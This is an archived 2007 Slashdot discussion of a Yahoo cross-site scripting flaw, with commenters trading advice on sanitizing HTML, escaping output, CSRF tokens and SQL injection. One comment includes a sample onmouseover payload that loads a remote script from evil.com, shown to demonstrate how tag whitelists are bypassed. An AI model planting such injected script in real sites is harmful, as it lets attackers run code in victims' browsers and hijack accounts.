Follow Slashdot blog updates by subscribing to our blog RSS feed

 


Forgot your password?
Close
typodupeerror
×
Yahoo! Businesses The Internet Security IT

Yahoo! XSS Flaw Endangers its Users 157

Posted by CowboyNeal from the ever-vigilant dept.
Rarely Greys writes "A major Yahoo XSS flaw makes it possible to take over any Yahoo user's account, including their mail, instant messaging, photos, etc. This is not a rare occurrence. So why aren't web sites doing more to protect their users? It's looking like most web developers don't even know or care about XSS."
This discussion has been archived. No new comments can be posted.

Yahoo! XSS Flaw Endangers its Users More

Yahoo! XSS Flaw Endangers its Users

Comments Filter:

  • Responsible disclosue? (Score:4, Insightful)

    by starwed ( 735423 ) on Friday June 15, 2007 @03:21AM (#19516185)
    There's no information here about whether Yahoo has been contacted about this (and their response if so.)

    • Re: (Score:2, Insightful)

      by The Hobo ( 783784 )
      It's a lot better for the submitter to link to his own blog post and put a personal, biased opinion on the submission instead of doing what you said. You'd think that editors would strip out such biased garbage from submissions and let, you know, the community make those statements instead of reporting them as news. Then again, it's not like they've ever cared to do that.

    • Re: (Score:3, Funny)

      by Simon Garlick ( 104721 )
      You seem to have forgotten that this is Slashdot. Let me break it down for you.

      Google = GOOD
      Yahoo = BAD

      You're welcome.

    • Re:Responsible disclosue? (Score:4, Informative)

      by trianglman ( 1024223 ) on Friday June 15, 2007 @08:36AM (#19517579) Journal
      Whether it was disclosed to Yahoo directly or not, it has already been fixed (at least when I tested it in Firefox). I don't know about most of the Yahoo team, but Rasmus (the same one that invented PHP) pays very close attention to site security, and Yahoo, Google, and many others watch the boards where these vulnerabilities are revealed and fix the problems, often within hours, whether its disclosed or not.

  • I fail to see how is this related to XSS (Score:3, Interesting)

    by wumpus188 ( 657540 ) on Friday June 15, 2007 @03:35AM (#19516251)
    And, if I'm reading his code right, to get this to work one must have 'third party cookies' allowed in the browser... Most sane browsers have this OFF by default.

    • Re:I fail to see how is this related to XSS (Score:4, Informative)

      by phantomcircuit ( 938963 ) on Friday June 15, 2007 @04:02AM (#19516363) Homepage
      You are in fact wrong. The cookie is sent through a form which is not affected by whether third party cookies are enabled or disabled. It should be noted that this flaw has already been fixed...

    • Not so sane or OFF in Firefox 2 (Score:4, Informative)

      by Alcoholic Synonymous ( 990318 ) on Friday June 15, 2007 @04:34AM (#19516523)
      Firefox 2 changed the way the cookie preferences worked. You can only choose to allow or disallow all cookies through the options menu. To actually block just 3rd party cookies the way you could in 1.5, you have to fool around with obscure about:config settings.

      Set network.cookie.cookieBehavior to "1"

      http://kb.mozillazine.org/Network.cookie.cookieBeh avior [mozillazine.org]

    • Re: (Score:2)

      by bkr1_2k ( 237627 )
      No, most "sane" users have whatever is default, by default. Most "informed" users have this off by default, which is not the same as "sane". You can be perfectly sane and still be ignorant. Users don't care because they use their computers and email as a tool. Most don't understand how or why it works, they just want it to work, and for the most part it does.
  • What the hell are "Penis painted" bars? /Useless without pics
  • I would fall into the category of developers who did not know about this threat. How would i go about protecting the users? are there any simple guidelines that would make XSS-attacks impossible?
    • I am not a web dev but I am casually learning web development and not only do I not know what XSS is (other than people mentioning it), the article doesn't actually explain what it is or how to stop such attacks. Fortunately the wikipedia page for XSS [wikipedia.org] gives a (probably too) detailed description and preventative measures.

      But it would be helpful for me if someone could give a brief outline.

      • Re: (Score:2)

        by Trails ( 629752 )

        (probably too) detailed description

        Bull. Spreading knowledge about attack vectors is the best way to stop them. Keeping them all secret is asking for trouble.

        Stopping it is essentially as follows: never assume trust of anything in the request. Validate sessions against at least B-class ip (this will accomodate the AOL'ers, it's not perfect, but it makes the exposure smaller), white list allowed urls and parameter values (as opposed to blacklisting, which leaves one prone to forgetting something), e

        • Calm down.
          I meant that the wiki page was probably too detailed for more novice web types like myself. There is nothing wrong with detail, the wiki is fine. I would just have liked a laymans outline of the technique and its prevention. Which is why I asked for one here, thanks for the reply.
    • It's the same as preventing SQL injection. If you take a user input, escape html tags before displaying them.

      • Re: (Score:2)

        by zaunuz ( 624853 )
        Im already doing that by default, so i guess im safe (for now!!)

        • Re: (Score:3, Insightful)

          by Fireflymantis ( 670938 )
          Not really, Are you making damn sure, all the time, without fail that if a user changes view.php?id=32 to view.php?id=33 that they are not getting access to content they shouldn't be? What about cookies? Assuming the malicious user can (and will) build cookies of their choosing and content, are you making sure that this cannot somehow be used to hijack another users account? Are you 100% certain, that every time you read get/post/put data that it has been marked as tainted, validated, and only after it ha

          • Re: (Score:2)

            by zaunuz ( 624853 )
            1. I program the serverside so that it allways assumes that the user might be tampering with the parameters, so if any parameters are combined in a way they shouldn't be, the attemt gets logged and the session is aborted.
            2. I don't use cookies
            3. all characters that can be used is HTML or SQL code are delimited
            4. I always assume that someone might be tampering with form data.

            Im not saying that my security measures are flawless, but i do take alot of things into consideration, and i am paranoid when it c
          • We're talking about XSS, here. It IS enough to check form data and strip html tags. Whitelist DB interactions, and you're safe 99% of the time. (And that 1% is on huge sites that are worth targeting by experienced attackers who can use the methods you just mentioned.) That Yahoo was hit by XSS is a bit embarrasing, actually.
            • Every major site has XSS vulnerabilities. They are inevitable. You have remember that large applications can have hundreds of developers working on many, many lines of code. It is hard to hit every edge/corner case for every possibility, while still preserving functionality. Many, many sites can be hit with this (even yours actually, look into vulnerabilities with the Expect: header)

        • Re: (Score:3, Informative)

          by ensignyu ( 417022 )
          However, you should also be aware of the related XSRF (cross-site request forgery) attack, which can actually be done from a different site. For example, someone on your site says "Hey, go to myevilsite.com", and then when you view the page it uses Javascript to auto-submit a form pointed at your site. If that form happens to be "delete account" and you don't have any protection (such as a generated form ID that only legit forms from your site would have, or requiring a password), there could be trouble.

          • Re: (Score:3, Informative)

            by zaunuz ( 624853 )
            session is automaticly aborted if HTTP_REFERRER is something else than a website on my server, or the CGI-script itself. Not really a strong way of countering such attempts, but combined with alot of other smaller things that i've implemented, it has proven useful.

            • Re: (Score:3, Insightful)

              by J0nne ( 924579 )
              So those suckers that use personal firewalls that block/overwrite the referrer are blocked from using your site? You haven't seen 'Field blocked by Outpost firewall (http://www.agnitum.com)' anywhere in your logs?

              Using the referrer logs for anything other than logging/statistics is a stupid thing to do, IMHO.

              • Re: (Score:2)

                by zaunuz ( 624853 )
                I gotta admit that that's an issue i haven't thought of, so thanks for telling me.
                Although i haven't seen anything in the logs that hints of a firewall altering the referrer yet.

                • Re: (Score:2)

                  by J0nne ( 924579 )
                  Outpost alters it, but I'm certain there are some others that just block it (ie. send an empty referrer), so depending on how you wrote your site, those people might be affected too.

                  I personally think it's a stupid feature to add to a personal firewall, but it's there, so we have to deal with it ;).

                  • Re: (Score:2)

                    by zaunuz ( 624853 )
                    hehe, that's the only thing i hate about my job: i have to develop the sollutions so that it work with the strangest software (I.E. is paain) just because it's common.. anyhoo, this is getting offtopic..

            • Re: (Score:2)

              by nherc ( 530930 )
              Except HTTP_REFERRER can be spoofed just as easily as the example code is spoofing the User Agent so that the Yahoo script thinks the request is from a browser and not another script. If I was testing this vulnerability, I'd certainly test if it was indeed looking at the Referrer by spoofing it as well, IF my initial code didn't work, but since it's so trivial to beat it appears Yahoo doesn't even bother.

          • Re: (Score:2)

            by oglueck ( 235089 )
            This is easily prevented by using request tokens.

            1. /deleteAccount displays a confirmation form that contains a generated token value in a hidden field
            2. User submits the form to /deleteAccount including the token
            3. Server validates if token matches the handed out value

            An external site would have to hijack the session cookie to forge such a request. But then it could do anything anyway.

      • Re: (Score:2)

        by Goaway ( 82658 )
        Actually, in most sane languages, you don't have to do anything remotely similar to prevent SQL injections. It's pretty much only PHP that forces the user to hand-sanitize all input for use in SQL.

        • Re: (Score:2)

          by zaunuz ( 624853 )
          3 perl 3

    • Sanitizing user imput is the most important part (Score:5, Informative)

      by Spliffster ( 755587 ) on Friday June 15, 2007 @06:16AM (#19516843) Homepage Journal
      If you want to secure your systems, make sure you do not allow userinput with certain tags (assuming this input is displayed later on in a html page).

      Tags like script, iframe, link, style, embed, object _MUST_ be stripped in an untrusted environment. why you may ask: script, iframe, link allow external references (for example injection of code of remote sites which you can not easily check).

      script itself is the most evil tag because it allows an attacker to access any element in a page, modify it and inject further remote scripts not stored on your server.

      ie interprets javascript and vbcode in style tags /me *shudders* (not sure if this is still true in IE7, in quriks-mode however i am pretty sure this still works in ie7 and non standard compliant mode AKA quirks-mode is the default for most IE only or IE targetted sites).

      embed and object tags are used to insert java and activeX code, I guess I do not have to say much about those two techniques, it's again about inserting remote code at runtime.

      iframe is, by nature, a fairly secure tag. it can not harm the users page much but it can be used to trick the user in believing to be on another page/site or trick him in any other way. plus, many IE versions had security holes where scripts could travel up from iframe into its parent document to manipulate data from another domain (crossite ;)

      There might be some potentially evil tags missing in my list, this is just from the top of my head.

      I usually go the other way, instead of restricting tags i define a white-list of tags which are useful for formatting reasons such as strong, em, front, etc. this seems to be a much more controllable way.

      HTH,
      -Simon

      • Although sanitizing user input gets the job done, what one should be doing is sanitizing the output .

        An XSS attack exists because you are dynamically generating a web page with content you didn't intend: which contains executable script instead of where you intended dumb text (that you got from a database or that was entered earlier on by a (another) user). Sanitizing user input (which is the only factor you don't control) will help but if I enter <script>1+1</script> as some comment on for ex

      • Re:Sanitizing user imput is the most important par (Score:5, Insightful)

        by Mr_Icon ( 124425 ) on Friday June 15, 2007 @07:40AM (#19517141) Homepage

        I usually go the other way, instead of restricting tags i define a white-list of tags which are useful for formatting reasons such as strong, em, front, etc. this seems to be a much more controllable way.

        <strong onmouseover="document.write('<' + 'script s' + 'rc=\"http://evil.com/foo.js\"></script>')">You get the idea</strong>

        HTML sanitizing is VERY. HARD. Unless you first run things through tidy, and then manually check all attributes for evil (keeping in mind URL-encoded and unicode-escaped sequences), you WILL FAIL.

        You are a lot safer using wiki or REST syntax and converting it to html formatting tags on the back-end. Otherwise you'll be playing a constant game of whack-a-mole.

        • Oh yes, certainly. I was not going into the attribute thing, i would disallow all attributes by default (forgot to mention).

          Although the parent did not get moderated up, Mr_Icons point is valid and extremely important (if you strip tags but forget to strip attributes in allowed tags, it's not very effective).

          Cheers,
          -S

        • I've already moderated in this discussion, but I'll bite. Am I? [htmlpurifier.org]

          You people need to stop skirting around the issue by inventing new markup languages and actually solve the problems with proper libraries for each language. There is already a solution for PHP (HTML Purifier) [htmlpurifier.org]: how about more languages?

          Any HTML filtering library will be complicated, but it will be much less complicated than a web-browser, which actually has to do things with the HTML. All a filter has to do is validate.

    • The short explanation to protect your website from this is to not display any user generated data. This includes: GET variables, POST variables, COOKIES, SERVER variables (such as REQUEST_URI, etc.) or any database stored values that may have originally come from such sources.

      The best way to do this depends on the server side technology you are using. But even then, no filter is 100%. You also have to watch context. In the example here, Yahoo was filtering quotation marks, but this exploit works around th

  • Not necessarily that they don't try. (Score:5, Interesting)

    by Fireflymantis ( 670938 ) on Friday June 15, 2007 @03:46AM (#19516285)
    As a web developer myself, I try dillagently to kill off any XSS attacks by writing good secure code, but there will always be a few corner cases in any non-trivial application that one does not count for. This is doubly so when dealing with web services that have to pump out huge amounts of data over an insecure medium.

    What is most showing is how fast it will be till Yahoo fixes this vunerability as a sign of their metal.

    imho...

    • Re: (Score:2)

      by jc42 ( 318812 )
      As a web developer myself, I try dillagently to kill off any XSS attacks by writing good secure code, ...

      As a web user myself, I try diligently to kill off any XSS attacks by turning off all client-side scripting, using NoScript, etc.

      Unfortunately, I'm also a web developer, and I need to test my stuff against all the common browsers. So I have to occasionally use browsers (you know which ones I'm talking about) that don't allow user control of all client-side scripting.

      In a sane world, there would be no su
    • Just FYI:

      metal |?metl| noun 1 a solid material that is typically hard, shiny, malleable, fusible, and ductile, with good electrical and thermal conductivity (e.g., iron, gold, silver, copper, and aluminum, and alloys such as brass and steel) : vessels made of ceramics or metal | being a metal, aluminum readily conducts heat. Heraldry gold and silver (as tinctures in blazoning). 2 Brit. (also road metal) broken stone for use in making roads. 3 molten glass before it is blown or cast. 4 heavy metal or simila

    • > What is most showing is how fast it will be till Yahoo fixes this vunerability as a sign of their metal.

      It is already fixed. And probably the security testing team added a new test-case to prevent recurrences.

      What went on here is a pure case of ASWing [urbandictionary.com]. Nearly every non-trivial application has a fair share of holes, some are just more high-rewards than others. We've found XSS issues in Orkut [livejournal.com], during random exploration. But having grown past sixteen, I've sent an email to the orkut feedback bla

  • Could it be that web developers have to create Web 2.0 applications that take all sorts of evil input? How do you make blogs, tags, message boards, and things 100% safe? I wish security researchers would create a proof of concept site that was a REAL web application to show best practices. Sure there are projects like http://www.owasp.org/ [owasp.org], but their example code is near useless for most languages they have up.

    Think about the input needed for a comment box. You have to deal with i18n issues. UTF-8 or UTF-16 is a very big character set. You can't explicitly block everything and then white list selectively very easily with such a big character set.

    Some people think bbcode is the solution for some types of sites. I haven't seen too many implementations of bbcode for languages other than PHP that are open source and reusable.

    Can someone point me at resources for Java and .NET development? I don't use PHP very often. Are there any resources for other languages like perl, python and ruby?

    I'd personally love to get a library to do safe HTML input while stripping any dangerous tags in Java that is reasonably reusable.

    • Re: (Score:2)

      by Goaway ( 82658 )
      BBcode is ugly, cryptic and pointless. It's just as hard to use for users as HTML, so nothing is gained on that side, and if you're parsing something that's largely equivalent to HTML, why not just parse HTML in the first place? There's nothing magic about BBcode, and you could just as well replace the BBcode tags with HTML tags in your parser and have the same level of security (judging by the number of XSS exploits found in various BBcode implementations, not all that much, really) but with slightly more

      • Re: (Score:2)

        by Sancho ( 17056 )
        Something like BBcode would be just fine. The problem with HTMl/XML is that you can embed script in many, many tags. Validating each of these is a chore. Worse, some browsers might have bugs which allow script in tags you wouldn't expect.

        With BBcode-like tags, you strip all HTML tags, period. They're either quoted so that they show up as raw text, or they are removed entirely. But the magic BBcode tags are transformed into HTML. [b] becomes <b>, [/b] becomes </b>. [b script=blah] is malfo

        • Re: (Score:2)

          by Goaway ( 82658 )
          You missed the point - why parse [b] into <b>, when you could parse <b> into <b>, and discard <b script=""> as invalid?

          • Re: (Score:2)

            by Sancho ( 17056 )
            I guess that would work, but restricting HTML to a limited subset seems somehow worse than creating a new markup. As a user, how do I know which options to a given HTML tag are allowed? As a web programmer, how do I know whether script is embeddable in some of those options for any given random browser that people might use? (Opera? What's that? Safari? I don't have a Mac (ok, Apple addressed this one)).

            For the user who is familiar with HTML, BBcode-alikes provide a visual cue to differing semantics. If

            • Re: (Score:2)

              by Goaway ( 82658 )
              It's easy enough to put a "Allowed HTML:" list somewhere. Lots of sites do that, and I don't think anybody has problems with that.

              And you don't really get any of the benefits you mention: BBcode maps nearly 1:1 to a subset of HTML. You can largely just replace BBcode tags with HTML ones in your code, and you get the same thing, only more friendly to people who are more likely to be familiar with HTML.

              You don't output user-submitted HTML at all. You first parse HTML, and then you output your own HTML. You us
    • one way to do it: only allow 100% valid XHTML (and thus, XML). when it's being uploaded, send it into an XML parser, then it's quite easy to find malicious tags (like script or iframe). just iterate through the document tree. if everything's ok, print the XML document back out to a string again and save that copy, not the copy the user uploaded.

  • Web developers know not enough about security (Score:4, Insightful)

    by PsyQo ( 1020321 ) on Friday June 15, 2007 @03:52AM (#19516315)
    In my opinion web developers just don't know enough about security.

    They know how to store and retrieve data from a database, but they don't know why it's important to escape strings before they go to into a SQL query (or better: use parameterized queries). It happens too often that when you see some page: view.php?id=23 and you change 23 to 23', it returns an error. Although a lot of developers are 'saved' by PHP's magic quotes, it isn't a silver bullet.

    Even less web developers seem to know about XSS and how to prevent it.

    Web security should get a lot more attention in web developer education, from SQL injection to XSS to salted hashes.
    • I don't think it's a matter of education as much is it's a matter of developers not caring. At least from my experience...
      • There are a lot of developers:

        1) Some are entirely ignorant of these issues, and will code things like (say) a cookie that says "admin=true" to determine admin access.

        2) Some are aware of the issues, but don't care to implement them. At least not until it's reported to them by a user/client/boss.

        3) Some are aware of the issues, would like to implement them, but their clients/bosses don't give them enough time or resources to do so.

    • Even less web developers seem to know about XSS and how to prevent it.

      When I read the article, the guy almost had me convinced that the world is about to end. The sun seemed to be falling from the sky and so on.

      When I read the exploit, however, I found it to be really trivial. And trivial to fix. First: how dare yahoo to execute on the page the script that is came from the user in the request ("onerror" parameter in the link)! Second: he has stolen the cookies via "document.cookies" the easiest way

  • I'd care less if it was site developers problem... (Score:3, Insightful)

    by zukinux ( 1094199 ) on Friday June 15, 2007 @04:02AM (#19516367) Homepage Journal
    The real problems today are using ActiveX in Internet Explorer.
    Believe it or not, most malware,spyware,viruses spread to the user via Internet Explorer ActiveX.

    Although users are prompted to click yes or no, the default user will click yes anyway, and that's even a bigger problem.
    • Not only that, but they're all but useless. I use Opera, which doesn't support them, and my user experience has never deteriorated because of this.

  • Use some library/package or something (Score:5, Informative)

    by cerberusss ( 660701 ) on Friday June 15, 2007 @04:06AM (#19516387) Journal
    It's not a shame to admit you know zilch about XSS. But at least use a library/package/class or something which prevents these flaws. For instance for the PHP developers, there is HTML_Form [php.net], which includes a unique hidden form field each time a form is generated thus preventing some XSS.
    • The project you point to has a stable release > two years old and a white screen under "roadmap". Isn't this a big part of the problem: security should (specially for small deployments) be largely of the shelf, based on good toolkits, but it is not considered "sexy" to program these (parts of the) toolkits? I mean, how many ways are there to present a form on a website? It shouldn't be rocket technology to make one that says: "make sure the user entered a valid date here before throwing it on the data
      • I totally agree, presenting forms should be part of the toolkit. And exactly because it's not rocket science, this toolkit is quite stable and hasn't changed the last two years; it's not like XSS is anything new.

        What HTML_Forms does, is the following:
        • You describe the form including validation rules, with easy to use HTML_Forms functions
        • Then that description is used for both printing the form as well as checking a submitted form

        Works flawlessly and integrates with the templating classes that PEAR off

    • The safeguard you're describing protects against CSRF [shiflett.org] and has nothing to do with XSS.

      • I accidentally linked to HTML_Form instead of HTML_QuickForm. It will automatically quote your values so as to stop XSS and will also make sure that magic_quotes_gpc isn't corrupting your values.

  • Here's Why. (Score:5, Insightful)

    by Anonymous Coward on Friday June 15, 2007 @04:24AM (#19516477)
    Well, my take (multiple major webdev projects on the go NOW)...

    1. MOVING TARGET

    A lot of webdev security issues (DB input, etc.) are moving targets.

    For example, take database input. Ten years ago, for many (beginning) developers, escaping quotes and backslashes manually was considered fine. Later developers had database libraries that provided these functions natively. All of a sudden, unicode came along. Suddenly you had to worry about extra characters. This was another step - for example, for developers using MySQL, it was pertinent to change all of your escape functions to a new, unicode-aware one.

    With everything else on their plate, even if they're single-language developers, auditing old code to maintain current security best practice falls somewhere at the bottom of the todo list, between 'get some exercise' and 'catch up on sleep'.

    2. EXPECTATIONS RISING

    As individual leading sites like google's gmail or google earth appear, expectations from clients increase. Web developers have a hard time keeping up with meeting all of the new 'standard features' that are expected, and are often implementing certain aspects for the first time, relying on either poorly audited code (random downloaded scripts) or writing their own with insufficient time for testing and security auditing.

    3. NEW OR RAPIDLY ELEVATED ISSUES IN WEB SECURITY

    In the last ten years, issues have appeared such as:
      1. Public tools and worms that can easily attack custom-made applications, rendering some older, unmaintained code more readily exploitable. (This is just another time pressure, and security is all about the combination of resources for the attacker and defender... not just technical know-how on either side.)

      2. Cross site scripting... this is quite a complex issue and is not understood by all developers.

      3. A large number of scripting languages, which are constantly being updated and take a lot of time to stay up to date with. For example, most web developers are not really competent with javascript/ecmascript...

      4. Browser or other 'out of web developer control' bugs can make different tags or features dangerous 'at short notice'.

      5. AJAX and web services, which emphasise providing structured, easily-accessible data to the public, make data scraping (ala screen scraping) that much more of a real and widespread threat. As of today, most developers still do not take this threat seriously.

      6. Denial of service attacks.

      7. New expectations of server-side image (or web services data) processing can expose extra code (often legacy tools, or tools in entirely new languages) to potentially hostile input.

    4. GENERAL PROGRAMMING ISSUES

    Add to the above the standard pressures that lead to security shortfalls:
      - Web developers, like other programmers, are often lumbered with unrealistic delivery timeframes.

      - A lot of webdev is single-developer stuff, not completed in teams. As only one person reads the code, errors are less likely to be spotted.

      - Most webdev projects have no budget for code auditing as close-to-secure code is often merely a desirable part of the overall bundle, not a steadfast client requirement...

      - Webdev people often aren't client facing. In today's highly comepetitive webdev market, client facing salespeople perhaps don't know enough about code security to sell it as a budget-worthy extra.

    5. CLIENTS DONT CARE

    They want a working site, not a working site with n^m behind-the-scenes feelgood features they have to take at face value and have no way to 'see', 'show the boss' or otherwise justify.

    • Re: (Score:3, Insightful)

      by Riquez ( 917372 )
      Very well put, you should've logged in because you deserve the karma for this more than most.

      I particularly empathise with #4.
      Unrealistic deadlines: I'm often asked to complete a job that should take 8-10 days in 3. Even then, my 10 day estimate is not including high-level security features. When you explain "if I do it in 3 days, & you want it changed later I'll have to start again from scratch. Plus, it will be minimum security - please understand that the website *may* be raped" THEY say "Bahh,
      • About the single developer point; I suggest good old IRC as a semi-replacement for the coffee chat. OK it's not good, but it's better than nothing. The trick would be to find a decent channel. Freenode offers some good ones.
    • Actually in my (short) experience as a security researcher and pen tester with a programming background it's usually more that the programmers or web developers simply aren't aware of the security risks. You can go on about client pressures and such, and they're valid, but for all input based attacks on web applications these attacks can usually be simply avoided by using standard functions or by taking the fifteen seconds it would take to validate the input.

      The problem is that the developers don't know

  • XSS? (Score:2, Funny)

    by bar-agent ( 698856 )
    What's XSS?

    Eh, never mind. I don't really care.

    • Re: (Score:2, Funny)

      by RuBLed ( 995686 )
      so do I... but what I really care about is that the blog lacks Cute Ponies 2.0 (tm)
  • I stopped reading right after the bit about Paris Hilton. If you need her to keep your audience reading your article then either you are a bad writer or I am not the target audience.
  • The exploit is simply sending an email a link that posts to a fo via JavaScript

    On top of that it relies on posting a form to an external domain; such a thing gives a nasty warning in Firefox.

    This really has nothing at all to do with XSS, you can do this with any email client that has HTML mail.

  • Are XSS flaws overrated? (Score:3, Insightful)

    by Vexorian ( 959249 ) on Friday June 15, 2007 @08:50AM (#19517705)
    There is certainly no excuse for web developers not to validate output correctly, but how big of an issue XSS actually is? This one vulnerability requires you to make an user click an odd link, and it took yahoo almost no time to fix it, how many hackers are so good at social engineering that would be able to take advantage of this?
  • there is a very simple solution to XSS this that is rarely followed:

    never, i repeat, never print out a user-editable string variable directly to a web page. send every single one through a function that, at the very least, replaces all '<' and '>' to '&lt;' and &gt;
    • That's a great way for a browser-based email client to display HTML email. Oh, I'm sure that will pass user acceptance testing. Instead of rendering the email, just show a sea of unintelligible HTML markup.

      You, sir, are a Pure Man of Genius.
  • Are there any rules of thumb that can be used to stop XSS hacks for those of use who just want to write secure code but don't really feel like becoming experts in XSS?

    For instance, it is trivial to protect yourself from SQL Injection hacks. Just use substitution variables:

    SELECT first_name, last_name FROM users WHERE userid=$in_userid

    would become

    SELECT first_name, last_name FROM users WHERE userid=?

    And then just set that variable. Magic, no SQL Injection possible (as long as you trust your DB librar

    • Is there a similar way to insulate yourself against XSS so we can just go back to writing code that doesn't suck?

      It would help if we stopped generating web pages as if they were text. Code like "" represents a recipe for disaster.

      Dynamically creating the DOM on the server side would be a great start. Just build up the model in memory (much like you use prepared statements for SQL), then write it out to the client when you're done. That would eliminate a good chunk of XSS vulnerabilities right there. Even th

      • Doh! That's supposed to say: Code like "<%=mytext%>" represents a recipe for disaster.

        I'm off to get some coffee. I'm obviously not doing so well without it. :-/

  • Bottom line: Developers don't care (Score:3, Interesting)

    by MobyDisk ( 75490 ) on Friday June 15, 2007 @09:55AM (#19518325) Homepage

    It's looking like most web developers don't even know or care about XSS
    I think the summary was trolling, but even so they got it dead on.

    I've worked on several web projects over the years, and I've never met a single developer who even knew or cared about XSS. In all of those projects none of them, other than myself, bothered to even escape strings when sending out to HTML. In some cases, they will go out of their way to _not_ escape them. Like in ASP.NET, using HTML literal controls (which don't escape HTML content) instead of using text controls (which do). The reasoning was that the .000001% optimization it provides is more important than the risk of a security problem.
  • Since other bugs in yahoo make it mail me a new password in an e-mail which is not the one I get my (yahoo) mailing lists delivered to, and no other way to restore access to my account.

Slashdot Top Deals

What is research but a blind date with knowledge? -- Will Harvey

Close